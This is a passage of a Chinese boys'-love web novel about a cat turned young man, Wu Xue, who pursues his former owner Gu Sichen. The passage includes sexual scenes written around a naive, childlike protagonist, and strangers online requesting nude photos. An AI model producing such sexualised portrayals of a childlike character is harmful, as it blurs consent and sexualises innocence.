顾司沉说：“你现在是人，男人不会和男人睡觉。” 说完，顾司沉将吴雪赶出卧室，狠心锁了门。 原来变成人，就不能和顾司沉一起睡觉了。想到这里，吴雪突然感觉有些伤心，果然还是做小猫好…… 卧室里，顾司沉辗转反侧了一整夜，忍不住想吴雪一个人睡觉会不会害怕？会脱掉衣服把自己弄感冒吗？自己拒绝了他他会感到伤心吗？ 有许多个瞬间顾司沉都想去看看吴雪，可最终还是忍住了，因为如果吴雪继续向他撒娇，他确认自己无法再次拒绝。 他又觉得等吴雪习惯就好了，等吴雪习惯做人，有自己的社交圈和世界，就不会再像一只小猫一样黏他了。乌乌是宠物，可吴雪是人，他不能再任性地把吴雪当成自己的所有物。 顾司沉说服了自己，直到第二天起床离开卧室，他被眼前这一幕定在了原地。 吴雪抱着枕头和毯子在他门口打地铺，被开门声吵醒也没有脾气，很亲人地说：“你起床啦？” 顾司沉呼吸沉了沉，心里有一股说不清道不明的情绪。他克制着自己的情绪：“你怎么睡在这里？” 吴雪：“这你离你最近啊。” 顾司沉喉结滚动，一种混杂了心疼、自责、愤怒的情绪上涌。等他反应过来时，才发现自己已经把吴雪从地上拉起来，说：“以后别睡我门口。” 吴雪愣了愣，看起来仿佛快要哭了：“睡门口也不行吗？” “不行，”顾司沉说，“你可以去床上睡。” 他可以去床上睡？看着顾司沉离开的背影，吴雪睁大了眼睛。所以今晚他可以和人一起睡了？ 整个白天吴雪都沉浸在兴奋中，好不容易终于挨到晚上，他趁着顾司沉不注意飞速洗完澡躲进被窝，闭眼装睡。 没过多久，吴雪旁边的床铺一沉，然后眼皮一黑，顾司沉关了灯。 黑夜中，吴雪睁大眼睛打量身旁的人，顾司沉没有赶走他！顾司沉允许自己和他睡一起！ 吴雪兴奋得钻进顾司沉被窝，就像他还是小猫时那样。 顾司沉身体一僵，毫不留情地把他赶出来，冷冷道：“盖自己的被子。” “哦。”吴雪又滚了回去，并没有被打消热情，能够继续和人睡一起，他已经很开心了。 吴雪开心地闭上双眼，做了个梦。 他不记得自己梦见了什么，只记得自己在梦里很开心，可又不够非常开心。他也记得自己很舒服，可又谈不上非常舒服。吴雪绞尽脑汁想让自己变开心，变舒服，他在被窝里拱来拱去，终于满意起来。 察觉到身上的律动，顾司沉脸黑了。 他推开夹.着自己大腿的男生，声音沉沉：“吴雪，你在干什么？” 吴雪突然被吵醒，迷迷糊糊地说：“怎么啦？” 顾司沉一言不发，抽出自己的左腿，然后冷漠地下了床。 吴雪从床上坐起来，不明所以然，他怎么又惹人生气了？ 直到出门前顾司沉都没有和他说话，吴雪也生气了，凭什么顾司沉突然不理他？既然顾司沉不理他，那他也不要理顾司沉了。 吴雪鼓足了劲儿要做一个坏孩子，白天在家四处捣乱，把各种玩具弄得乱七八糟，疯狂上网，无节制地吃垃圾食品，还瞒着管家下楼找玳瑁玩。 可这依旧无法完全消耗掉精力，他还是不够舒服，不够快乐。 当天晚上，吴雪指着自己鼓鼓的裤子，有些委屈：“顾司沉，我难受。” “自己解决。”顾司沉丢下这句话，转身进了浴室。 等顾司沉出来，吴雪变得更可怜了。他委屈地坐在床边的地毯上，双眼湿润，皮肤泛着不正常的粉。 听见脚步声，吴雪立刻抬起头，仿佛在渴望顾司沉的帮助。顾司沉却冷漠地越过他，从另一头上了床。 吴雪开始感到委屈，但与此同时还有一股混合了愤怒、冲动、以及破坏的情绪上涌，陌生的情绪控制了他的身体，他头也不回地朝着大门跑去。 “砰——” 顾司沉先他一步抵住了防盗门。 吴雪不甘地抬起头，像是一头愤怒的小兽：“放我出去！” 顾司沉抵着防盗门，面色沉沉：“你要去哪里？” 吴雪也不知道，只是车轱辘地说要出去。 顾司沉又问：“出去干什么？” “不知道，”吴雪说，“我好难受，我要出去舒服。” 顾司沉理解吴雪的意思了。 他陷入了漫长的沉默，仿佛认命一般，终于再次开口：“你之前都是怎么做的？” “这样，这样，然后就舒服了。”吴雪比划给顾司沉看，可他很快又苦恼起来，沮丧着脸说，“可不知道为什么，现在这样没有用了。” 他说的是踩奶和蹭大腿。 顾司沉：“因为你现在是人，人和猫不一样。” 吴雪眨了眨眼睛：“那人应该怎么做？” 十分钟后，顾司沉翻出资源，把平板递给吴雪：“自己跟着视频学。” 吴雪动作生疏地学习，很快就皱眉说：“好痛。” 顾司沉去了书房，吴雪就过去站在他面前，说：“顾司沉，我好痛。” 顾司沉撇了眼，说：“指甲收起来。” “不要，”吴雪嫌麻烦，擅自挤到顾司沉怀里，很霸道地说，“你帮我。” 少年身体温热，皮肤像丝绸一样滑腻，还带着淡淡的小猫香气。 这本该是一个旖旎的时刻，可顾司沉却沉了脸，几乎是冷漠地说：“下去。” 吴雪伸手搂顾司沉脖子，双腿紧紧圈住他的腰，固执道：“我不要。” 顾司沉拍了下吴雪屁股，力道不大，本来只是告诫，可不料吴雪竟一声不吭，甚至把他勒得更紧了。顾司沉抱着人回卧室，又拍了几下，这次力气稍微大了一些。 吴雪蜷缩在他胸膛，发出小猫一样的哼唧声。紧接着，顾司沉腹部传来温热的湿意。原本紧紧缠着他的吴雪突然松开腿，软绵绵地躺在床上，脸颊泛着不正常的潮红。 而顾司沉身上的衣服……湿了。 看着自己腹部那片粘稠的白，顾司沉沉默了一分多钟，又一言不发地去了浴室。 完蛋了，顾司沉又生气了。 听着浴室里的水流声，吴雪苦恼地叹了口气：顾司沉是小猫变的吗？怎么总是在生气？ 第27章 顾司沉又不和吴雪一起睡觉了。 明明之前都答应得好好儿的, 结果才一起睡了一天又反悔，吴雪就没见过这么小气的人！ 他象征性地哄了哄人，像还是当猫时那样喵喵叫、和人贴贴、翻肚皮, 结果顾司沉还是不理他。吴雪很快就没了耐心，不和他睡就算了，他去和管家睡。 顾司沉不喜欢有人打扰，服务人员都是做完工作就走，并不在家里留宿。只是养了乌乌后, 在顾司沉出差的日子里, 管家会过来留宿陪着乌乌。但管家也有自己的家庭, 顾司沉也不是次次都让他来。 这天顾司沉去隔壁市谈合作，临时决定在当地住一晚。 酒店高层套房, 顾司沉躺在陌生的大床上, 脑海中浮现出吴雪各式各样的身影。 吴雪天真烂漫，不懂人类的丑陋和肮脏，被人欺负了都以为是照顾。但他是一个成年人，他不能像吴雪一样没有分寸。 “嗡——” 手机突然震动, 是管家发来视频申请。 顾司沉接通, 管家慌乱的声音从电话那头传来：“老板，您快管管乌乌吧。” 视频那头，吴雪大大咧咧地躺在管家床上，怀里抱着自己的小枕头。他知道管家在视频, 于是故意很大声地说：“管家, 今晚我和你睡。” “吴、雪！”顾司沉一字一顿, 眼神冷得能结冰，“回自己房间睡。” “不要。”吴雪挑衅地看向镜头，表情比当猫时还要灵动, 几乎就是在明说“反正你现在又不在这里，你能拿我怎么办？” 顾司沉深吸一口气，对管家说：“你去睡客房。” 管家连忙离开了。 顾司沉换上衣服，连夜赶回贸城。 吴雪其实不太喜欢管家的房间，他更喜欢顾司沉房间的味道。他过来就是为了气顾司沉，一种很幼稚的“你不要我就算了，我还有别人”的心理。 可当他发现顾司沉真的不在意时，还是感觉有点儿伤心。 吴雪抱着枕头，躺在陌生的房间里，睡得并不安稳。不知过了多久，他听见了一阵熟悉的脚步声。吴雪迷迷糊糊地抬起头，看见一道高大的身影站在床头，熟悉的轮廓，熟悉的气息。 “顾司沉！”吴雪立刻从床上爬了起来，难以置信，“你回来陪我了？” 顾司沉没有回答，扛起吴雪往卧室走去。 他把人丢在松软的大床上，一只手按着吴雪后腰，另一只手不轻不重地落下。 “啪——” 清脆的声音在卧室里响起，吴雪又被打屁股了。 吴雪似乎并不理解这种惩罚的方式，他是小猫时就喜欢被拍屁股，现在变成人后也觉得非常舒服。 他以为顾司沉在和玩，很开心地用脸蹭人手心，毫无戒备地说：“顾司沉，我还要。” 顾司沉拒绝了吴雪，因为不想让惩罚变成奖励。 此时已经是后半夜，如果不是太晚，顾司沉会认真和吴雪谈一谈现状和未来。但因为时间太晚了，顾司沉先让吴雪睡了，打算明天再谈。他要和吴雪分开盖被子，但吴雪并不听他的话，顾司沉只得就这样睡了。 最后一晚，只熬过这一晚就好。 明天醒来他就认认真真和吴雪谈一次，吴雪现在亲近他，只不过是还保留着猫的习性，等他教吴雪人类世界的规则，吴雪就不会再不分场合地和他亲密了。 顾司沉闭上眼睛，沉沉睡去。 … 直到第二天早上醒来，顾司沉发现自己趴在床上，身体被人压着。他动了一下，却被更加用力地按了回来。 熟悉的气息，一如既往的莽撞动作，不用回头他都知道谁在干坏事。 “吴雪，”顾司沉冷声道，“放开我。” 吴雪不仅没有放开，反而加重了手下的力道。他整个人都坐在了顾司沉后腰上，四肢压着顾司沉四肢，嘴巴咬着他后颈，模仿捕猎的动作，哼哧哼哧地喘气。 顾司沉脸颊被摁进乳胶枕头里，头发散乱，肌肉紧绷，从未有过的狼狈情景。 他当然可以凭武力挣脱，吴雪和他有着明显的体型和力量差距，可他不想在谈话前把关系弄僵，也害怕弄伤吴雪。 于是顾司沉再次开口：“吴雪，让我起床，早餐我们吃煎三文鱼。” 压在他身上的力道稍微减轻了一些，随后顾司沉听见吴雪说：“我还要喝冰可乐。” “好。”顾司沉又说。 吴雪这才松开了对他的钳制，顾司沉从床上起身，看见吴雪时突然愣了一下。 吴雪大体上还是人的模样，可头上长出了猫耳，身后一蓬松软的尾巴，仔细看，牙齿和指甲也比之前要长了。 顾司沉忍住了抚摸的冲动，只是问：“什么时候长出来的？” “不知道，”吴雪拖过毛茸茸的尾巴，对顾司沉说，“醒来就有了。” 他的兽化更明显，习性也更加接近猫了。 顾司沉不知道吴雪的状态还会发生变化，这让他心中多了一些紧迫，要尽快和吴雪说清楚才行。 顾司沉起床准备早餐，他不常下厨，只勉强能做一些简单的食物。但今天为了讨好吴雪，顾司沉找出菜谱，对着视频下了十二分功夫。 这顿早餐吴雪吃得很满意，吃完早饭，他坐在窗边的阳光下，低头清理尾巴上的毛发。 前方落下一道阴影，顾司沉拿了个坐垫在他对面坐下，吴雪抬头看了眼，又低头继续给自己梳毛。 他本来是想舔毛的，可自从变成人后，顾司沉就不让他舔舐自己的身体了，也不让他舔别人。吴雪记住了，他在逐渐学着做一个符合世俗意义上的正常人。 顾司沉在吴雪对面坐下，问：“你以后有什么打算吗？” 吴雪：“没有。” 顾司沉：“想读书或者工作吗？” 吴雪：“不想。” 那些都是人做的事情，和他一只猫没有关系。 顾司沉沉默了几秒，问：“那你打算做什么？” 吴雪露出苦恼的表情：“一定要做什么吗？” “人生活在这个世界上，普遍来说都有自己的身份和职业。”顾司沉拿出证件，“我给你办了户口本和身份证，还准备了一部分启动资金，你可以尝试去做一些自己想做的事情。暂时想不到也没关系，可以慢慢想，不着急。” 吴雪却突然说：“我想好了。” 顾司沉：“你想做什么？” 吴雪：“我想做你的猫。” “……” 顾司沉再次告诉吴雪：“你现在是人，一个独立的个体，已经不是我的猫了。” “我就是你的猫。”吴雪突然生气了，有些委屈地说，“你和我说这些，是不是不想要我了？” 顾司沉解释：“我不是不想要你，只是要保持适当的距离。” 吴雪：“什么距离适合？” 顾司沉：“你住自己的房间，不能和我睡一起，也不能在我身上发泄欲.望。” 吴雪突然不说话了，一双眼睛虎视眈眈地盯着顾司沉，眼神中带着一股浓浓的侵略性，像是野兽盯着猎物的神情。 当顾司沉察觉到危险准备躲避时，吴雪已经朝他扑了过来。 几乎是一瞬间，吴雪就跳到了顾司沉后背。他双腿夹着顾司沉的腰，双手用力搂着顾司沉脖子，同时张嘴咬他后颈。 一个非常完美的攻击，可惜没有得逞。 因为顾司沉趁机抓着吴雪右手，翻身将人摁在了沙发上。他力气极大，一只手就能按住吴雪的腰，吴雪完全不是他对手。 可吴雪比他灵活，身体也更加柔软，使了一个巧劲儿，竟又把顾司沉压住了。 吴雪跨坐在顾司沉腰上，隔着薄薄的睡衣，能明显感受到顾司沉的体温和形状。 顾司沉身体一僵，耳朵霎时就红了。 “吴雪，”他皮肤滚烫，声音却冷得像冰，“从我身上下去。” 吴雪却指着他明显突出的部位，说：“你明明也和我一样，为什么不行？” 这个问题实在是…… 顾司沉把脸转到一边，声音低哑：“你先从我身上下来，我再告诉你。” 吴雪皱眉：“不要。” 他觉得顾司沉在骗他，他看过那些视频，视频里都是两个人做那种事情。 吴雪撩起顾司沉衣服，看见身下的腹肌出现明显的紧绷和收缩，不仅如此，顾司沉整张脸都红了起来。 吴雪从来没有见过顾司沉这幅样子，不由得呆了一瞬。 仅仅是一秒钟的空隙，他就被顾司沉按在了沙发上。 顾司沉衣衫不整，神情狼狈，语气却是前所未有的严肃：“这是最后一次，你如果再这样，我会让你搬出去。” 从来没想过这种可能，他睁大眼睛，鼻头开始发酸，再次开口时声音已经带上了委屈：“为什么？” 顾司沉：“和喜欢的人才能做这种事。” 吴雪立刻说：“我喜欢你！” 他说得那么干脆，毫无保留，仿佛真的喜欢顾司沉到了极致。 可顾司只是看着吴雪，语气平静地说：“吴雪，你不喜欢我。你都不懂什么是喜欢。” 吴雪觉得顾司沉的指控毫无道理，小猫从诞生之初就知道什么是喜欢了，明明是人不懂才对。 可顾司沉实在是心狠，吴雪不得不试图理解人类的喜欢。人类文化产业发达，吴雪通过广泛摄取、总结经验，很快就找到了答案。 一周后，他跑过去对顾司沉说：“你们人类是不是喜欢这种‘我喜欢你时你不喜欢我，我不喜欢你时你才喜欢我’的剧情？那我离开你你就会喜欢我吗？” 顾司沉：“你看了什么？” 吴雪支吾：“我没看什么啊……” 顾司沉：“手机。” 吴雪乖乖奉上，顾司沉发现他手机里多了一个晋江文学城app，阅读记录全是追爱火葬场。 顾司沉：“……” 但他最终还是没有删除，只是告诉吴雪：“大部分网络小说都只是娱乐，不能当成生活参考。” 吴雪似懂非懂，但他明白了顾司沉的意思，决定不再看网络小说，而是研究人类世界真正发生过的事。 打发走吴雪，顾司沉继续浏览资料。 他打算找个学校让吴雪上，但发现很难找到适合吴雪的。而且吴雪没有集体生活经验，性格傻气又天真，他担心吴雪被霸凌。除以此外，不稳定的身体状况也是一大问题。 最终顾司沉放弃让吴雪去集体学校，开始考虑聘请家庭教师。 他联系了顾亭安小时候的家庭教师，老师能力优秀、履历清白，且育有一子一女，恰好适合教导吴雪。 顾司沉和她约好时间上门，对方询问学生基本情况，课程阶段。 顾司沉想了想，说：从启蒙开始吧。 定好时间，顾司沉打算把这件事告诉吴雪。却不料吴雪自己跑了过来，眼睛红通通，猫耳耷拉着，可怜得不行。 顾司沉缓了几秒才问：“怎么了？” “我知道爱情是什么了，”吴雪红着眼睛说，“我爱你，就是我愿意为了你去死。” 顾司沉已经见怪不怪，问：“你又看了什么？” 吴雪把平板递过来，上面放着《泰坦尼克号》。 顾司沉伸手擦掉吴雪脸上的眼泪，语气严肃起来：“我明白这个故事很感人，但故事只是故事，不能替代你的生活经验。更没有谁值得你为他放弃生命，明白吗？” 吴雪：“你值得。” 顾司沉：“我也不行。” 吴雪没说话，但顾司沉知道他不服，因为吴雪的表情完全复刻了猫时的倔强。 顾司沉很早以前就知道，猫是一种非常倔强的生物，小猫倔强还称得上可爱，但人过分倔强就变得棘手起来。 顾司沉放弃说服吴雪，只告诉他自己请了家庭教师，让吴雪先跟着上几节课。 吴雪不想上课，小猫天生地养，随心所欲，只想自由自在地活着。 可顾司沉希望他更像人。 “那好吧，”吴雪叹了口气，用无奈的语气说，“如果上课可以让你相信我喜欢你，我可以上课。” 顾司沉：“……” 这周末，吴雪迎来了自己的家庭老师。 一节课两个小时，中间有20分钟的休息时间，顾司沉原本以为吴雪肯定待不住，不料他竟然完整地上完了课程。 晚饭时，顾司沉问吴雪：“课上得怎么样？” 吴雪：“挺好的。” “老师呢？”顾司沉又问，“还习惯吗？” “嗯，”吴雪点头，眼睛亮晶晶的，“我喜欢她。” 老师像他妈妈，他想妈妈了。 顾司沉沉默了一会儿，说：“你喜欢我，也喜欢老师。” “是啊，”吴雪说，“我都喜欢。” 顾司沉没再说话，安静地把饭吃了。 晚上吴雪没有再吵闹着要和顾司沉一起睡了，因为上课时老师告诉他，一起睡觉并不能代表什么，人需要有自己的空间，分开睡觉只是因为需要独处而已，并不代表顾司沉就不喜欢他了。 吴雪觉得她说得有道理，抱着玩具回了自己卧室里。当然，最重要的原因是吴雪的阶段性发情期结束，他不需要继续和顾司沉睡一起了。 发情期结束，吴雪的耳朵和尾巴也同步消失，顾司沉从公司回来，看见吴雪坐在沙发上看书，几乎已经看不出属于猫的痕迹。 吴雪变得越来越像人了，他睡在人的卧室，和人一样吃饭休息，因为体型比较稳定，偶尔也会外出活动，没有人发现他其实是只猫。 吴雪也开始尝试区分人类世界的亲情，友情，爱情，只是进度有些缓慢。因为小猫的世界中并没有这么明显的划分，他喜欢晒太阳、喜欢小鱼干、也喜欢爸爸妈妈和顾司沉。可这些喜欢又似乎都不是顾司沉的那种喜欢。 吴雪很苦恼，人类世界太复杂了，小猫弄不明白。 吴雪躺在花园里，晒着秋天温暖的太阳，试图理清这个终极问题。 “吴雪？真的是你？”一道熟悉的声音响起，吴雪抬头看见了顾亭安。 吴雪变人后，和顾亭安见了一面，但是没有呆很久，因为他不喜欢闻顾亭安身上的味道。可现在吴雪实在苦恼，想找人谈论自己的困境。 他坐直身体，问顾亭安：“你是不是养猫了？” “没有啊，”顾亭安有些支吾，“我猫毛过敏，不能养猫。” 吴雪：“我都闻出来了。” “好吧，”顾亭安终于妥协，又说，“情况有些复杂，你先别告诉我哥，我怕他担心。” 吴雪本来也不会告状，很干脆地答应了。 顾亭安又问他为什么在这里，吴雪说：“我在想事情。” “想什么？” “我在想什么是喜欢。” “你有喜欢的人了？”顾亭安问，为了严谨，他又补充，“还是说你喜欢上了哪只猫？” 吴雪：“我喜欢顾司沉，可他说我不懂什么是喜欢。” 顾亭安皱眉：“好过分。” “是吧？你也真觉得？”吴雪终于找到了知己，又问，“你是人，你觉得什么是喜欢？” 顾亭安想了想，说：“可能每个人都有不同的答案，但我觉得喜欢就是想看见他，想和他待在一起，他看你一眼你就开心，不看你你就难过。他要是和别人在一起，那个滋味儿别提多难受了。” “他和别人在一起？为什么会觉得这个难受？””吴雪皱眉，有些不懂，“顾司沉不陪我的时候，一直都和别人在一起，我从来不难受。” 顾亭安换了种说法：“那如果我哥养了别的猫呢？” “那不行，”吴雪立刻说，“我不许他养第二只猫。” 顾亭安：“大概就是这个意思。” 吴雪点了点头，若有所思：“那我明白了什么是人类的喜欢，可为什么顾司沉说我不懂？” 顾亭安想了想，又问：“那你想和他睡觉吗？” “想的，”吴雪用力点头，“但是他不让！” 顾亭安神秘兮兮地掏出手机，分享自己发出去就会被屏蔽的艺术创作作品：“不是小猫那种睡法，是这种睡法……” “还是想的，”吴雪看完，很认真地说，“但是顾司沉不让我睡。” 顾亭安：“！！！” 他睁大眼睛，露出难以置信的表情。 吴雪：“怎么啦？” 顾亭安：“你是说你睡他？” 吴雪：“对啊。” 顾亭安：“……” 他清了清嗓子，快要控制不住自己的表情：“不然下次你换一下？你试试让他睡你呢。” 吴雪：“啊？” 顾亭安强调：“让他睡你。” 吴雪不懂：“有什么区别吗？” 顾亭安：“本质上来说我觉得没区别，攻和受没有明确的界限，但有些人也会比较在意，会觉得可爱、漂亮、矮小的是受，强大、勇敢、霸道的是攻。” 强大，勇敢，霸道，说的不就是他吗？吴雪脱口而出：“那我肯定是攻啊！” 顾亭安：“…………” 他似乎知道他哥为什么不愿意和吴雪发生关系了。 第28章 没能从顾亭安那里得到答案, 吴雪又开始上网寻求网友意见，他注册了一个账号，在小地瓜上发帖：为什么我喜欢的人不喜欢我？ 帖子发出去两个小时, 浏览量29，没有一个回复。 是看不见吗？可为什么别人的帖子都有这么多人讨论？ 吴雪皱眉，又发了一个帖子：怎么样才能让自己喜欢的人喜欢我？ 又过去了几个小时，还是没有任何回复。 吴雪困惑极了，再次发帖询问：为什么我发的帖子都没有人回复？ 这次终于有一个好心人回复了他, 说他的帖子太普通, 又没有配图, 所以网友都不愿意点进来。 原来要配图？ 吴雪打开前置摄像头，拍了张自己的照片, 继续发帖：为什么我喜欢的人不喜欢我？ 五分钟过去, 1000个赞。 [？？？本人？？？] [不是，哥们儿你长这样还愁没人喜欢？？] [盗图吧？？长这样谁不喜欢啊？！] 55：我不是盗图。 吴雪有些着急地回复。 [我不信，除非你给我看更多的图。] 吴雪当即又拍了好几张照片发评论区，角度表情各不相同。 网友：“……” [卧槽, 真人？？] [这还不喜欢？没品的家伙, 踹了他和我谈吧！] [和我谈，听见了吗！我我喜欢你这样的，我让你和我谈！！] 55：可是我只喜欢他。 网友：“…………” 网友七嘴八舌，让吴雪多说一些双方的情况, 大家好给出针对性意见。 吴雪打字还不是很熟练, 在评论区发语音。 [声音也这么萌QAQ] [我不信, 这个世界上怎么会有人不喜欢你！！] 帖子还在持续走红，无数网友被神颜和矛盾的标题吸引进来。 [怎么回事？真的假的？长这样还没人喜欢？] [不可能，起号的吧？] [钓鱼？] 吴雪回复很碎, 又是语音，评论区有热心网友总结出了具体情况：博主是被喜欢的人养大的，现在住在心动男嘉宾的家里。男嘉宾单身，很帅，很有钱，对他也很好，但就是不喜欢他。博主曾经脱光了躺他床上，男嘉宾都不为所动。 [蛙趣，如果不是编的，那我只能说博主你也太勇了。] [可是你们不觉得这个男嘉宾更不对劲吗？博主顶着这张脸屡次示好，男嘉宾都没有任何反应，这对劲吗？谁能忍得住？我是个女的我都不行。] [万一人家是直男呢？] [我是直男，但如果是博主这样的，我可以。] [可以+1] [包了，男嘉宾铁直的，但我觉得你拿下直男也没有问题，不然博主你穿裙子试试？] 55：男人都喜欢什么样的裙子？ 网友迅速甩了一堆链接，什么纯欲风，辣妹风，成熟性感风…… 还有人私信说要给他买裙子，但不知道他身材尺寸，让他私信不穿衣服的照片。吴雪心道世界上还是好人多，他一个个认真回复：谢谢你，但我可以自己买。 · 吴雪不再时刻缠着顾司沉，他这几天变得格外忙碌。上课，和顾亭安玩，还偶尔会出门散步。就算偶尔留在家里，也是低头沉迷手机，和顾司沉没有多少交流。 直到今天顾司沉外出回来，发现吴雪竟然穿着一件女仆装…… 蓬蓬裙，白色蕾丝大腿袜，眼睛亮晶晶，猫耳竖起，尾巴在身后胡乱摆动。 顾司沉沉默几秒，移开目光平静道：“怎么穿成这样？” 吴雪走到他面前转了个圈，问：“喜欢吗？” 顾司沉：“我喜不喜欢不重要，你自己喜欢就行。” “啊？”吴雪愣了下，有些失落地说，“原来你不喜欢啊？” 顾司沉本来想说他没有，可又觉得这样的解释毫无意义，便默认了。 不知是不是被他拒绝了，晚上吴雪有点儿蔫。顾司沉主动询问他白天的课程，吴雪答得敷衍，见他兴致不高，顾司沉也就没再追问。 两人似乎变成了室友，互不干涉地生活在这冰冷的房子里。 这样也好，毕竟吴雪已经不是他的猫了，作为一个人，他有属于自己的人生。 顾司沉洗完澡出来，穿着保守的长袖长裤睡衣，掀开被子上了床。 他刚躺下吴雪就钻进他被窝，四肢分开虚虚地压在了他身上。 没有肢体接触，但他们距离极近，吴雪身上的猫味儿和沐浴露的气味混合，争先恐后地钻进了顾司沉鼻腔中。 顾司沉黑了脸，冷声道：“下去。” 吴雪没离开，但也没有继续动作，只是保持这个姿势说：“这件你也不喜欢吗？” 顾司沉目光下移，发现吴雪换了一条度假风白色吊带裙，裙摆只到大腿根，让他同时具有纯真和引诱的矛盾气质。 顾司沉移开视线，不带感情地重复：“吴雪，从我身上下去。” 吴雪沮丧地埋着头，转身回了自己房间。 他缩在大床角落，打开小地瓜继续发帖：根本没用！我都穿裙子了，他还是不喜欢我！ 吴雪现在已经有几万粉丝了，帖子一发，立刻有网友安慰他，又有不怀好意的网友问吴雪穿了什么。 吴雪发了白天穿的女仆裙，这条裙子不算暴露，只露出了一截大腿，看上去有一种学生气的乖巧。 [蛙趣，这么米，鼻血出来了。] [是猫耳宝宝！！耳朵和尾巴好真哦！！] [宝宝你也太美了，心动嘉宾的心是铁做的吗？这都不心动？] 吴雪还想把第二条裙子也发出来，让大家看是不是他选得不好。又有人让他别发了，说网上有坏人，会拿他的照片去做不好的事情。 吴雪听进去了，没再继续发照片，有些私信想看他女装照片的，他也没有回复。 大家先是舔完颜，陆续开始认真提意见。高赞的一个评论认为心动嘉宾不喜欢他，是因为吴雪吃住都在家里，没有经济来源，和对方身份不平等。网友让吴雪不要沉迷恋爱，先自己找份工作，搞事业，然后再考虑爱情。 吴雪想了想，觉得对方说得有道理。 55：可我不知道我能干什么。 网友：直播吧，就穿之前那套女仆装，随便跳跳舞，保证能红。 吴雪采纳了对方的意见，趁着顾司沉不在家播了一天，当晚直接冲到了新人榜第一。 后台私信更多了，还有许多机构找上门想要签约，吴雪全都拒绝了。 第二天，吴雪拿着账号后台收益给顾司沉，说：“顾司沉，我有钱了。” 顾司沉：“你哪儿来的？” 吴雪：“我自己赚的。” “怎么赚的？” “直播。” 顾司沉脸沉了沉，他把手机还给吴雪，尽量用平和的语气问：“为什么要去直播？是我给你的钱不够吗？” 吴雪摇头，很认真地说：“顾司沉，我不花你的钱了。” 顾司沉愣住了，过了好一会儿才问：“为什么？” 吴雪说：“网友说因为我花你的钱，我们的身份不平等，所以你才不喜欢我。” 顾司沉闭上眼，再次产生了一股强烈的无力感。 “不是这样的，”他告诉吴雪，“我没有因为你花我的钱不喜欢你。” “那是为什么？”吴雪大而清澈的眼睛看着他。 顾司沉：“我说过，因为你不懂喜欢。” 吴雪：“我懂。” “你不懂，”顾司沉说，“我说的是人类之间的，恋人的喜欢。” 吴雪表情有一瞬的茫然，但他依旧重复：“我懂。” 顾司沉没有说话，幽深的目光注视着他。 吴雪突然察觉到了什么，问：“你是不是又要拒绝我？” 顾司沉没有回答，只是问他：“如果我拒绝你，你打算怎么办？” 吴雪没吭声，他也不知道怎么办，人类的感情太复杂了。他打开小地瓜，想发帖问问网友。 顾司沉却抽走了他手机，语气严肃地说：“你又打算听那些素不相识的人出馊主意？” “才不是馊主意。”吴雪大声地反驳。 顾司沉呼吸沉了沉，竭力克制自己的愤怒：“网友这次是怂恿你直播，穿女装。那下次呢？万一你听他们的意见，被坏人约出去骗了怎么办？” “她们才不是坏人，”吴雪皱眉，“不许你贬低她们。” 顾司沉愣了下，难以置信道：“你因为外人冲我发脾气？” “她们不是外人，她们是我网上的朋友。”吴雪仰起头，一字一句，“她们都不认识我，但依旧会安慰我，夸奖我，给我出主意，帮我解决烦恼，她们都是很好的人。” 顾司沉翻出吴雪账号私信，指着那些不堪入目的消息说：“这些也是好人？” “不要你管，”吴雪绷着脸去抢手机，“我有自己的判断。” 顾司沉却往后扬起手，吴雪一下没碰到手机，反而整个人都扑进了顾司沉怀里。 吴雪撑着男人胸膛想要起来，肩膀却被人用力扣住。 顾司沉坐在沙发上垂眸看他，语气平静但并不冷静地问：“你就这么喜欢我？” 吴雪之前每次都会给出迅速且肯定的回答，但或许是被拒绝太多次，这次他语气有些迟疑，垂头丧气地说：“喜欢又怎么样？反正你也不同意……” “那试试吧。”顾司沉说，语气依旧没有多激动。 吴雪难以置信地睁大双眼，他似乎不敢相信，必须要找个理由说服自己，又问顾司沉：“为什么？” 顾司沉没有立刻回答，此前他觉得吴雪什么都不懂，他对人下手是趁虚而入，所以他拒绝。后来他觉得吴雪的喜欢来得太轻易，像猫一样心性不定，所以他不愿意。 可吴雪比他想象中还要坚持，固执…… 他为什么愿意？ “总不能让你去找别人，”顾司沉认输了，他抚摸吴雪头发，用无奈的口吻说，“你想谈恋爱，那我陪你谈。” 第29章 吴雪脑海中其实并没有一个谈恋爱的概念, 一直缠着顾司沉，也只是因为他变成人后，还想和小猫一样和顾司沉相处而已。 肆无忌惮地亲吻、拥抱、睡觉……这些都是曾经无比自然的事情, 然而在他变成人后，人们却说只有互相喜欢、谈恋爱的人才能维持这种关系。 好吧，那他就和顾司沉谈恋爱吧，只要可以和以前一样亲密就好了。 既然他们现在已经在谈恋爱了……吴雪眨了眨眼睛，躺在了顾司沉的大床里。顾司沉在另一边睡下, 没有驱赶他。 吴雪霎时心中一喜, 得寸进尺钻进了顾司沉怀里。 他还是猫时经常和顾司沉这样睡, 可自从变成人后顾司沉就对接触排斥起来。这次他能如愿吗？吴雪有些紧张，抬头看了顾司沉一眼。 顾司沉依旧没有要他走, 可也没有主动拥抱他。 不知是不是变成人后身体不如猫柔软, 吴雪睡得其实不太舒服，顾司沉怀里硬硬的，还有个奇怪的东西抵着他。 但他沉迷于顾司沉的体温和气味，容忍了这轻微的不适。 开始谈恋爱后, 他们的相处又恢复到了之前的模式。吴雪虽然已经变成人形, 但还没有改掉袭击顾司沉的习惯，会从各个意想不到的角度冲出来抱顾司沉，或者跳到顾司沉后背上，偶尔也会很亲昵地靠着他, 躺在他身上睡觉。 吴雪本来还想对管家、顾亭安、家庭老师、还有做饭很好吃的周姨这样, 可顾司沉说是因为他们谈恋爱了才可以这么亲密, 但吴雪没有和管家、顾亭安、家庭老师、周姨谈恋爱，所以不能对他们做这种事。 吴雪只得遗憾作罢。 这周末，顾司沉突然取消了他周六的课程, 说要带他去游乐园玩耍。 吴雪从来没有去过这种地方，烟花、城堡、过山车、盛大的花车巡游……得知此事后他就开始疯狂刷视频，兴奋得完全睡不着。 之前他觉得人类社会好无聊，做人也没什么好。可当他跟随人群排队入场，和自己最崇拜的超级英雄合影，在各种刺激性项目中尖叫连连，在花车巡游中接过工作人员递来的彩带，吴雪对人类的偏见彻底消失了。 这分明是一个非常强大、聪明、富有创造力、且善于取悦自己的种族。 吴雪的兴奋之情在晚上看烟花演出时达到了最高峰，突然间，顾司沉捂住了他的头发。 吴雪在音乐声中回头：“怎么了？” 周围人太多了，声音也很大，顾司沉只得凑到吴雪耳边说：“你耳朵出来了。” “啊？”吴雪茫然地眨了眨眼，毛茸茸的耳朵在顾司沉手中胡乱颤动。 